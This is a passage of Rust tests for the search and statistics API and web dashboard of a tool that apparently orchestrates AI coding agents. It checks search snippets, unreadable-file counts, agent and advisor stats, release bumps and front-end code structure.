12156 "the failure names the file to look at: {}",
12157 detail.body
12158 );
12159 let health = f.get("/api/health").await;
12163 assert_eq!(health.json()["runs_unreadable"], 1);
12164 }
12165
12166 #[tokio::test]
12168 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
12169 let f = Fixture::start().await;
12170 let runs = f.runs();
12171 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
12172 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
12173 let path = runs.join("20260902-140502-bbbb").join("run.json");
12176 let mut v: serde_json::Value =
12177 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12178 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
12179 std::fs::write(&path, v.to_string()).unwrap();
12180 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
12181 std::fs::write(
12182 runs.join("20260902-140503-cccc").join("run.json"),
12183 "{ not json",
12184 )
12185 .unwrap();
12186
12187 let res = f.get("/api/search?scope=runs&q=quokka").await;
12188 assert_eq!(res.status, 200, "{}", res.body);
12189 let v = res.json();
12190 assert_eq!(v["total"], 1, "{v}");
12191 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
12192 assert_eq!(v["hits"][0]["field"], "text");
12193 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
12194 let parts = v["hits"][0]["snippet"].as_array().unwrap();
12195 assert!(
12196 parts
12197 .iter()
12198 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
12199 "{v}"
12200 );
12201 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
12202 assert_eq!(
12203 flat, "The Quokka leaks across threads",
12204 "whitespace is collapsed"
12205 );
12206
12207 let both = f
12209 .get("/api/search?scope=runs&q=MOBILE%20quokka")
12210 .await
12211 .json();
12212 assert_eq!(both["total"], 1, "{both}");
12213 let neither = f
12214 .get("/api/search?scope=runs&q=quokka%20zebra")
12215 .await
12216 .json();
12217 assert_eq!(neither["total"], 0, "{neither}");
12218 let stmt = f
12220 .get("/api/search?scope=runs&q=mobile%20first")
12221 .await
12222 .json();
12223 assert_eq!(stmt["total"], 2, "{stmt}");
12224 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
12225 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
12226 }
12227
12228 #[test]
12229 fn snippet_ignores_terms_longer_than_the_field() {
12230 let terms = ["ok".to_owned(), "elephant".to_owned()];
12231 let parts = snippet_of("ok", &terms);
12232 assert_eq!(
12233 parts,
12234 vec![SnippetPart {
12235 text: "ok".to_owned(),
12236 hit: true
12237 }]
12238 );
12239 }
12240
12241 #[test]
12242 fn snippet_marks_matches_longer_than_the_window() {
12243 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
12244 let hit_len = |parts: &[SnippetPart]| -> usize {
12245 parts
12246 .iter()
12247 .filter(|p| p.hit)
12248 .map(|p| p.text.chars().count())
12249 .sum()
12250 };
12251 let total =
12252 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
12253
12254 let long = "a".repeat(120);
12255 let parts = snippet_of(&long, std::slice::from_ref(&long));
12256 assert!(hit_len(&parts) > 0, "{parts:?}");
12257 assert!(total(&parts) <= cap);
12258
12259 let ja = "あ".repeat(130);
12260 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
12261 assert!(hit_len(&parts) > 0, "{parts:?}");
12262 assert!(total(&parts) <= cap);
12263
12264 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
12266 let term = format!("ab{}", "c".repeat(100));
12267 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
12268 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
12269 assert!(total(&parts) <= cap);
12270
12271 let text = format!("{}z", "a".repeat(119));
12273 let parts = snippet_of(&text, &["a".repeat(120)]);
12274 assert_eq!(hit_len(&parts), 0, "{parts:?}");
12275 }
12276
12277 #[tokio::test]
12278 async fn search_caps_hits_and_snippet_length() {
12279 let f = Fixture::start().await;
12280 let runs = f.runs();
12281 for n in 0..(SEARCH_MAX_HITS + 5) {
12282 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
12283 }
12284 let v = f.get("/api/search?scope=runs&q=web").await.json();
12285 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
12286 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
12287 assert_eq!(v["truncated"], true);
12288 assert!(
12290 v["hits"]
12291 .as_array()
12292 .unwrap()
12293 .iter()
12294 .all(|h| h["run"]["status"] == "merged")
12295 );
12296
12297 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
12298 let parts = snippet_of(&long, &["needle".to_owned()]);
12299 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
12300 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
12301 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
12302 }
12303
12304 #[tokio::test]
12305 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
12306 let f = Fixture::start().await;
12307 let queue = f.queue();
12308 let mut t = Task::new(
12309 "short title".to_owned(),
12310 "line one\nthe hidden Armadillo detail".to_owned(),
12311 PathBuf::from("/repo/magi"),
12312 Source::Agent {
12313 run: "r1".to_owned(),
12314 node: "chat".to_owned(),
12315 },
12316 );
12317 t.last_error = Some("disk full on /tmp".to_owned());
12318 queue.put(&mut t).expect("file the task");
12319
12320 for (q, want) in [
12321 ("armadillo", 1),
12322 ("disk%20FULL", 1),
12323 ("chat", 1),
12324 ("queued", 1),
12325 ("short%20nothing", 0),
12326 ] {
12327 let v = f
12328 .get(&format!("/api/search?scope=tasks&q={q}"))
12329 .await
12330 .json();
12331 assert_eq!(v["total"], want, "{q}: {v}");
12332 }
12333 for bad in [
12334 "/api/search?scope=tasks&q=",
12335 "/api/search?scope=tasks&q=%20",
12336 "/api/search?scope=chats&q=",
12337 "/api/search?scope=chats&q=%20",
12338 "/api/search?scope=nope&q=a",
12339 "/api/search?q=a",
12340 ] {
12341 assert_eq!(f.get(bad).await.status, 400, "{bad}");
12342 }
12343 }
12344
12345 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
12347 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
12348 .expect("seat value");
12349 let turns: Vec<serde_json::Value> = turns
12350 .iter()
12351 .map(|(who, body)| {
12352 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
12353 })
12354 .collect();
12355 let doc = serde_json::json!({
12356 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
12357 "status": status, "turns": turns,
12358 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
12359 "seat": seat,
12360 });
12361 let dir = f.home.path().join("talks");
12362 std::fs::create_dir_all(&dir).expect("talks dir");
12363 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
12364 }
12365
12366 #[tokio::test]
12367 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
12368 let f = Fixture::start().await;
12369 write_talk(
12370 &f,
12371 "20260901-000001-aaaa",
12372 "open",
12373 &[
12374 (
12375 "operator",
12376 "\n Why does the Pangolin cache expire?\nsecond line",
12377 ),
12378 ("agent", "Because the TTL is thirty seconds."),
12379 ],
12380 );
12381 write_talk(
12382 &f,
12383 "20260901-000002-bbbb",
12384 "closed",
12385 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
12386 );
12387 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
12388
12389 let search = |q: &'static str| {
12390 let f = &f;
12391 async move {
12392 f.get(&format!("/api/search?scope=chats&q={q}"))
12393 .await
12394 .json()
12395 }
12396 };
12397
12398 let v = search("PANGOLIN").await;
12399 assert_eq!(v["scope"], "chats");
12400 assert_eq!(v["total"], 1, "{v}");
12401 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
12402 assert_eq!(v["hits"][0]["field"], "title");
12403 assert_eq!(v["unreadable"], 1, "{v}");
12404 let marked: Vec<&str> = v["hits"][0]["snippet"]
12405 .as_array()
12406 .unwrap()
12407 .iter()
12408 .filter(|p| p["hit"] == true)
12409 .map(|p| p["text"].as_str().unwrap())
12410 .collect();
12411 assert_eq!(marked, ["Pangolin"]);
12412
12413 let v = search("zebra").await;
12415 assert_eq!(v["total"], 1, "{v}");
12416 assert_eq!(v["hits"][0]["field"], "agent");
12417 assert_eq!(search("pangolin%20thirty").await["total"], 1);
12419 assert_eq!(search("pangolin%20zebra").await["total"], 0);
12420 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
12422 assert_eq!(search(q).await["total"], 0, "{q}");
12423 }
12424 assert_eq!(search("second").await["hits"][0]["field"], "operator");
12426 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
12428
12429 let v = f.get("/api/search?scope=nope&q=a").await;
12430 assert_eq!(v.status, 400);
12431 assert!(
12432 v.body.contains("scope must be runs, tasks or chats"),
12433 "{}",
12434 v.body
12435 );
12436 }
12437
12438 #[test]
12439 fn a_question_card_links_a_task_id_to_the_task_page() {
12440 let start = APP_JS
12441 .find("function updateAskCard(")
12442 .expect("updateAskCard exists");
12443 let body = &APP_JS[start..];
12444 let body = &body[..body.find("\n}\n").expect("function end")];
12445 assert!(body.contains("question.run_is_task"));
12446 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
12447 assert!(body.contains("`#/runs/${question.run}`"));
12448 assert!(body.contains("\"task\" : \"run\""));
12449 }
12450
12451 #[test]
12452 fn plain_text_message_surfaces_go_through_linkify() {
12453 assert!(APP_JS.contains("function linkify("));
12454 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
12455 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
12456 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
12457 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
12458 assert!(!APP_JS.contains("innerHTML = text"));
12459 }
12460
12461 #[test]
12462 fn implementation_rate_views_keep_independent_samples() {
12463 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
12464 let a = stats::AgentStats {
12465 competitive_entered: competitive_n,
12466 competitive_wins: usize::from(competitive_n > 0),
12467 solo_entered: solo_n,
12468 solo_adopted: 2 * usize::from(solo_n > 0),
12469 ..Default::default()
12470 };
12471 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
12472 for (key, n, numerator) in [
12473 ("competitive_win_rate", competitive_n, a.competitive_wins),
12474 ("solo_adoption_rate", solo_n, a.solo_adopted),
12475 ] {
12476 if n == 0 {
12477 assert!(v[key].is_null());
12478 } else {
12479 assert_eq!(v[key]["denominator"], n);
12480 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
12481 }
12482 }
12483 }
12484 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
12485 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
12486 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
12487 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12488 }
12489
12490 #[test]
12491 fn stats_bars_share_one_id_keyed_plan() {
12492 let start = APP_JS
12493 .find("function statsBarRows(")
12494 .expect("statsBarRows exists");
12495 let body = &APP_JS[start..];
12496 let body = &body[..body.find("\n}\n").expect("function end")];
12497 assert!(body.contains("statsBarPlan(rows)"));
12498 assert!(body.contains("statsAgentTone(row.agent)"));
12499 assert!(!body.contains("candTone(i)"));
12500 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12501 for root in [
12502 "stats-agents-bars",
12503 "stats-solo-bars",
12504 "stats-reviewers-bars",
12505 ] {
12506 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12507 }
12508 }
12509
12510 #[test]
12511 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12512 let start = APP_JS
12513 .find("function renderStatsReviewerScatter(")
12514 .expect("renderStatsReviewerScatter exists");
12515 let body = &APP_JS[start..];
12516 let body = &body[..body.find("\n}\n").expect("function end")];
12517 assert!(body.contains("statsScatterPlan(reviewers)"));
12518 assert!(body.contains("statsAgentTone(d.agent)"));
12519 assert!(APP_JS.contains("function statsScatterPlan("));
12520 assert!(
12521 APP_JS.contains("d.submitted < STATS_LOW_N")
12522 || APP_JS.contains("r.submitted < STATS_LOW_N")
12523 );
12524 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12525 assert!(APP_CSS.contains(".precision-scatter"));
12526 }
12527
12528 #[test]
12529 fn advisor_reflection_is_drawn_as_stacked_segments() {
12530 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12531 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12532 let html = include_str!("../assets/ui/index.html");
12533 assert!(html.contains("Approximate"));
12534 for label in ["reflected strongly", "faint", "no proposal"] {
12535 assert!(html.contains(label));
12536 }
12537 let css = include_str!("../assets/ui/app.css");
12538 for c in ["refl-strong", "refl-faint", "refl-absent"] {
12539 assert!(css.contains(&format!(".{c} {{")));
12540 }
12541 }
12542
12543 #[test]
12544 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12545 assert!(APP_JS.contains("function statsDailyPlan("));
12546 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12547 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12548 }
12549
12550 #[test]
12551 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12552 let start = APP_JS
12553 .find("function scheduleSearch(")
12554 .expect("scheduleSearch exists");
12555 let body = &APP_JS[start..];
12556 let body = &body[..body.find("\n}\n").expect("function end")];
12557 assert!(body.contains("s.seq += 1"));
12558 }
12559
12560 #[tokio::test]
12565 async fn stats_runs_unreadable_matches_health() {
12566 let f = Fixture::start().await;
12567 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12568 let broken = f.runs().join("20260902-140502-bad");
12569 std::fs::create_dir_all(&broken).expect("run dir");
12570 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12571
12572 let stats = f.get("/api/stats").await;
12573 let health = f.get("/api/health").await;
12574
12575 assert_eq!(stats.status, 200);
12576 assert_eq!(stats.json()["totals"]["runs"], 1);
12577 assert_eq!(stats.json()["runs_unreadable"], 1);
12578 assert_eq!(
12579 stats.json()["runs_unreadable"],
12580 health.json()["runs_unreadable"],
12581 "the dashboard and /api/health must never disagree about how many \
12582 runs could not be read"
12583 );
12584 }
12585
12586 #[tokio::test]
12587 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12588 let f = Fixture::start().await;
12589 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12590 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12591 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12592
12593 let totals = &f.get("/api/stats").await.json()["totals"];
12594 assert_eq!(totals["runs"], 3);
12595 assert_eq!(totals["merged"], 1);
12596 assert_eq!(totals["stalled"], 1);
12597 assert_eq!(totals["in_progress"], 1);
12598 assert_eq!(totals["blocked"], 0);
12601 assert_eq!(totals["ready"], 0);
12602 }
12603
12604 #[tokio::test]
12605 async fn stats_advisors_report_proposals_and_reflection() {
12606 use crate::advise::{Advice, AdvisorRecord, Reflection};
12607 use crate::verdict::Proposal;
12608
12609 let f = Fixture::start().await;
12610 let mut state = RunState::new(
12611 PathBuf::from("/repo/magi"),
12612 "main".to_owned(),
12613 "0123456789abcdef".to_owned(),
12614 "task".to_owned(),
12615 Config::default(),
12616 );
12617 state.id = "20260902-140501-a".to_owned();
12618 state.status = RunStatus::Merged;
12619 state.advice = Some(Advice {
12620 records: vec![
12621 AdvisorRecord {
12622 seat: "advisor-1".to_owned(),
12623 agent: "alpha".to_owned(),
12624 proposal: Some(Proposal {
12625 approach: "do it".to_owned(),
12626 key_tradeoff: "speed over memory".to_owned(),
12627 risks: Vec::new(),
12628 touches: Vec::new(),
12629 why_not_naive: "breaks under load".to_owned(),
12630 }),
12631 error: None,
12632 duration_ms: 0,
12633 reflection: Reflection::Strong,
12634 },
12635 AdvisorRecord {
12636 seat: "advisor-2".to_owned(),
12637 agent: "alpha".to_owned(),
12638 proposal: None,
12639 error: Some("timed out".to_owned()),
12640 duration_ms: 0,
12641 reflection: Reflection::Absent,
12642 },
12643 ],
12644 synthesis: Some("blended brief".to_owned()),
12645 });
12646 let dir = f.runs().join(&state.id);
12647 std::fs::create_dir_all(&dir).expect("run dir");
12648 std::fs::write(
12649 dir.join("run.json"),
12650 serde_json::to_string_pretty(&state).expect("serialize run"),
12651 )
12652 .expect("write run.json");
12653
12654 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12656 let alpha = advisors
12657 .as_array()
12658 .expect("an array")
12659 .iter()
12660 .find(|a| a["agent"] == "alpha")
12661 .expect("alpha row");
12662 assert_eq!(alpha["seated"], 2);
12663 assert_eq!(alpha["proposed"], 1);
12664 assert_eq!(alpha["absent"], 1);
12665 assert_eq!(alpha["strong"], 1);
12666 assert_eq!(alpha["faint"], 0);
12667 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12668 }
12669
12670 #[tokio::test]
12671 async fn stats_hides_agents_outside_the_roster_unless_all() {
12672 use crate::run::Candidate;
12673 let repo = TempDir::new().expect("repo dir");
12674 std::fs::write(
12675 repo.path().join("magi.toml"),
12676 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12677 )
12678 .expect("magi.toml");
12679 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12680 let mut state = RunState::new(
12681 PathBuf::from("/repo/magi"),
12682 "main".to_owned(),
12683 "0123456789abcdef".to_owned(),
12684 "task".to_owned(),
12685 Config::default(),
12686 );
12687 state.id = "20260902-140501-a".to_owned();
12688 state.status = RunStatus::Merged;
12689 for (label, agent) in [('A', "keep"), ('B', "retired")] {
12690 let mut c: Candidate = serde_json::from_value(serde_json::json!({
12691 "index": 0, "label": label.to_string(), "agent": agent,
12692 "branch": "b", "worktree": "/w",
12693 }))
12694 .expect("candidate");
12695 c.label = label;
12696 state.candidates.push(c);
12697 }
12698 let dir = f.runs().join(&state.id);
12699 std::fs::create_dir_all(&dir).expect("run dir");
12700 std::fs::write(
12701 dir.join("run.json"),
12702 serde_json::to_string_pretty(&state).expect("serialize run"),
12703 )
12704 .expect("write run.json");
12705
12706 let agents_of = |v: &serde_json::Value| -> Vec<String> {
12707 v["agents"]
12708 .as_array()
12709 .expect("array")
12710 .iter()
12711 .map(|a| a["agent"].as_str().unwrap().to_owned())
12712 .collect()
12713 };
12714 let hidden = f.get("/api/stats").await.json();
12715 assert_eq!(agents_of(&hidden), ["keep"]);
12716 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12717 assert_eq!(hidden["totals"]["runs"], 1);
12718
12719 let all = f.get("/api/stats?all=true").await.json();
12720 assert_eq!(agents_of(&all).len(), 2);
12721 assert_eq!(all["retired_hidden"], serde_json::json!([]));
12722 let keep_agent = all["agents"]
12724 .as_array()
12725 .unwrap()
12726 .iter()
12727 .find(|a| a["agent"] == "keep")
12728 .unwrap();
12729 assert_eq!(keep_agent["competitive_entered"], 1);
12730 assert_eq!(keep_agent["competitive_wins"], 0);
12731 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
12732 assert_eq!(keep_agent["solo_entered"], 0);
12733 assert_eq!(keep_agent["solo_adopted"], 0);
12734 assert!(keep_agent["solo_adoption_rate"].is_null());
12735 }
12736
12737 #[tokio::test]
12738 async fn stats_release_bumps_split_clean_from_attention() {
12739 use crate::run::ReleaseBump;
12740
12741 let f = Fixture::start().await;
12742
12743 let mut clean = RunState::new(
12744 PathBuf::from("/repo/magi"),
12745 "main".to_owned(),
12746 "0123456789abcdef".to_owned(),
12747 "task".to_owned(),
12748 Config::default(),
12749 );
12750 clean.id = "20260902-140501-a".to_owned();
12751 clean.status = RunStatus::Merged;
12752 clean.release_bump = Some(ReleaseBump {
12753 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12754 version: Some("1.0.0".to_owned()),
12755 automerge_enabled: true,
12756 merged_directly: false,
12757 local: false,
12758 release: None,
12759 problem: None,
12760 action_required: None,
12761 });
12762
12763 let mut blocked = RunState::new(
12764 PathBuf::from("/repo/magi"),
12765 "main".to_owned(),
12766 "0123456789abcdef".to_owned(),
12767 "task".to_owned(),
12768 Config::default(),
12769 );
12770 blocked.id = "20260902-140502-b".to_owned();
12771 blocked.status = RunStatus::Merged;
12772 blocked.release_bump = Some(ReleaseBump {
12773 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12774 version: Some("1.0.1".to_owned()),
12775 automerge_enabled: false,
12776 merged_directly: false,
12777 local: false,
12778 release: None,
12779 problem: Some("checks red".to_owned()),
12780 action_required: Some("look at the PR".to_owned()),
12781 });
12782
12783 for state in [&clean, &blocked] {
12784 let dir = f.runs().join(&state.id);
12785 std::fs::create_dir_all(&dir).expect("run dir");
12786 std::fs::write(
12787 dir.join("run.json"),
12788 serde_json::to_string_pretty(state).expect("serialize run"),
12789 )
12790 .expect("write run.json");
12791 }
12792
12793 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12794 assert_eq!(bumps["merged"], 2);
12795 assert_eq!(bumps["recorded"], 2);
12796 assert_eq!(bumps["pr_opened"], 2);
12797 assert_eq!(bumps["automerge_enabled"], 1);
12798 assert_eq!(bumps["needs_attention"], 1);
12799 assert_eq!(bumps["clean"], 1);
12800 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12801 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12802 }
12803
12804 #[tokio::test]
12805 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12806 let f = Fixture::start().await;
12807 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12808
12809 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12810 assert_eq!(bumps["merged"], 1);
12811 assert_eq!(bumps["recorded"], 0);
12812 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12815 assert_eq!(bumps["automerge_rate"], Value::Null);
12818 assert_eq!(bumps["attention_rate"], Value::Null);
12819 }
12820
12821 #[tokio::test]
12822 async fn stats_queue_counts_come_from_the_live_queue() {
12823 let f = Fixture::start().await;
12824 let q = f.queue();
12825 let mut queued = Task::new(
12826 "queued task".to_owned(),
12827 "do it".to_owned(),
12828 PathBuf::from("/repo"),
12829 Source::Human,
12830 );
12831 q.put(&mut queued).expect("put queued");
12832 let mut held = Task::new(
12833 "held task".to_owned(),
12834 "do it later".to_owned(),
12835 PathBuf::from("/repo"),
12836 Source::Human,
12837 );
12838 held.hold_machine(Some("out of attempts".to_owned()));
12839 q.put(&mut held).expect("put held");
12840
12841 let queue = f.get("/api/stats").await.json()["queue"].clone();
12842 assert_eq!(queue["queued"], 1);
12843 assert_eq!(queue["held"], 1);
12844 assert_eq!(queue["running"], 0);
12845 assert_eq!(queue["done"], 0);
12846 assert_eq!(queue["failed"], 0);
12847 assert_eq!(queue["blocked"], 0);
12848 }
12849
12850 #[tokio::test]
12851 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12852 let f = Fixture::start().await;
12853 let stats = f.get("/api/stats").await;
12854 assert_eq!(stats.status, 200);
12855 assert_eq!(stats.json()["totals"]["runs"], 0);
12856 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12857 assert_eq!(stats.json()["runs_unreadable"], 0);
12858 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12859 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12860 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12861 assert_eq!(stats.json()["repo"], Value::Null);
12862 }
12863
12864 #[tokio::test]
12865 async fn stats_lists_every_repository_with_runs_recorded() {
12866 let f = Fixture::start().await;
12867 write_run_repo(
12868 &f.runs(),
12869 "20260902-140501-a",
12870 RunStatus::Merged,
12871 "/repos/a",
12872 );
12873 write_run_repo(
12874 &f.runs(),
12875 "20260902-140502-b",
12876 RunStatus::Merged,
12877 "/repos/a",
12878 );
12879 write_run_repo(
12880 &f.runs(),
12881 "20260902-140503-c",
12882 RunStatus::Blocked,
12883 "/repos/b",
12884 );
12885
12886 let stats = f.get("/api/stats").await;
12887 assert_eq!(stats.status, 200);
12888 assert_eq!(stats.json()["totals"]["runs"], 3);
12890 assert_eq!(stats.json()["repo"], Value::Null);
12891
12892 let repos = stats.json()["repos"].clone();
12893 let repos = repos.as_array().unwrap();
12894 assert_eq!(repos.len(), 2);
12895 assert_eq!(repos[0]["repo"], "/repos/a");
12897 assert_eq!(repos[0]["name"], "a");
12898 assert_eq!(repos[0]["runs"], 2);
12899 assert_eq!(repos[1]["repo"], "/repos/b");
12900 assert_eq!(repos[1]["runs"], 1);
12901 }
12902
12903 #[tokio::test]
12904 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12905 let f = Fixture::start().await;
12906 write_run_repo(
12907 &f.runs(),
12908 "20260902-140501-a",
12909 RunStatus::Merged,
12910 "/repos/a",
12911 );
12912 write_run_repo(
12913 &f.runs(),
12914 "20260902-140502-b",
12915 RunStatus::Blocked,
12916 "/repos/b",
12917 );
12918
12919 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12920 assert_eq!(stats.status, 200);
12921 assert_eq!(stats.json()["totals"]["runs"], 1);
12922 assert_eq!(stats.json()["totals"]["merged"], 1);
12923 assert_eq!(stats.json()["repo"], "/repos/a");
12924 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12927 assert_eq!(stats.json()["runs_unreadable"], 0);
12930 }
12931
12932 #[tokio::test]
12933 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12934 let f = Fixture::start().await;
12935 write_run_repo(
12936 &f.runs(),
12937 "20260902-140501-a",
12938 RunStatus::Merged,
12939 "/repos/a",
12940 );
12941 write_run_repo(
12942 &f.runs(),
12943 "20260902-140502-b",
12944 RunStatus::Merged,
12945 "/repos/b",
12946 );
12947
12948 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12949 let json = f.get(uri).await.json();
12950 let daily = json["daily"].as_array().expect("daily is an array");
12951 assert_eq!(daily.len(), 30);
12952 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12953 let mut sorted = dates.clone();
12954 sorted.sort();
12955 assert_eq!(dates, sorted);
12956 for d in daily {
12957 assert_eq!(
12958 d["merged"].as_u64().unwrap()
12959 + d["ready"].as_u64().unwrap()
12960 + d["other"].as_u64().unwrap(),
12961 d["runs"].as_u64().unwrap()
12962 );
12963 }
12964 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12965 }
12966 }
12967
12968 #[tokio::test]
12969 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12970 let f = Fixture::start().await;
12971 write_run_repo(
12972 &f.runs(),
12973 "20260902-140501-a",
12974 RunStatus::Merged,
12975 "/repos/a",
12976 );
12977
12978 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12979 assert_eq!(stats.status, 404);
12980 }
12981
12982 #[tokio::test]
12983 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12984 let f = Fixture::start().await;
12985 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12986
12987 let summary = f.get("/api/runs").await.json();
12988 let row = &summary[0];
12989 assert_eq!(row["short"], "a1b2");
12990 assert_eq!(row["status"], "ready");
12991 assert_eq!(row["done"], true);
12992 assert_eq!(row["title"], "Add a web UI");
12993 assert_eq!(row["repo_name"], "magi");
12994 assert_eq!(row["judges"], 3);
12995 assert_eq!(row["winner"], Value::Null);
12996 assert_eq!(row["reviews"], 0);
12997
12998 let detail = f.get("/api/runs/a1b2").await;
13001 assert_eq!(detail.status, 200);
13002 assert_eq!(detail.json()["base_branch"], "main");
13003 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
13004 }
13005
13006 #[tokio::test]
13014 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
13015 let f = Fixture::start().await;
13016
13017 let mut none_run = RunState::new(
13018 PathBuf::from("/repo/magi"),
13019 "main".to_owned(),
13020 "0123456789abcdef".to_owned(),
13021 "Add a web UI".to_owned(),
13022 Config::default(),
13023 );
13024 none_run.id = "20260902-140503-none".to_owned();
13025 none_run.status = RunStatus::Ready;
13026 none_run.merge = Some(crate::run::MergeOutcome {
13027 mode: crate::config::MergeMode::None,
13028 ok: true,
13029 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
13030 empty: false,
13031 });
13032 write_state(&f.runs(), &none_run);
13033
13034 let mut pr_run = RunState::new(
13035 PathBuf::from("/repo/magi"),
13036 "main".to_owned(),
13037 "0123456789abcdef".to_owned(),
13038 "Add a web UI".to_owned(),
13039 Config::default(),
13040 );
13041 pr_run.id = "20260902-140504-prcl".to_owned();
13042 pr_run.status = RunStatus::Ready;
13043 pr_run.merge = Some(crate::run::MergeOutcome {
13044 mode: crate::config::MergeMode::Pr,
13045 ok: false,
13046 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
13047 empty: false,
13048 });
13049 write_state(&f.runs(), &pr_run);
13050
13051 let summary = f.get("/api/runs").await.json();
13052 let rows: std::collections::HashMap<&str, &Value> = summary
13053 .as_array()
13054 .expect("an array")
13055 .iter()
13056 .map(|r| (r["id"].as_str().expect("an id"), r))
13057 .collect();
13058 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
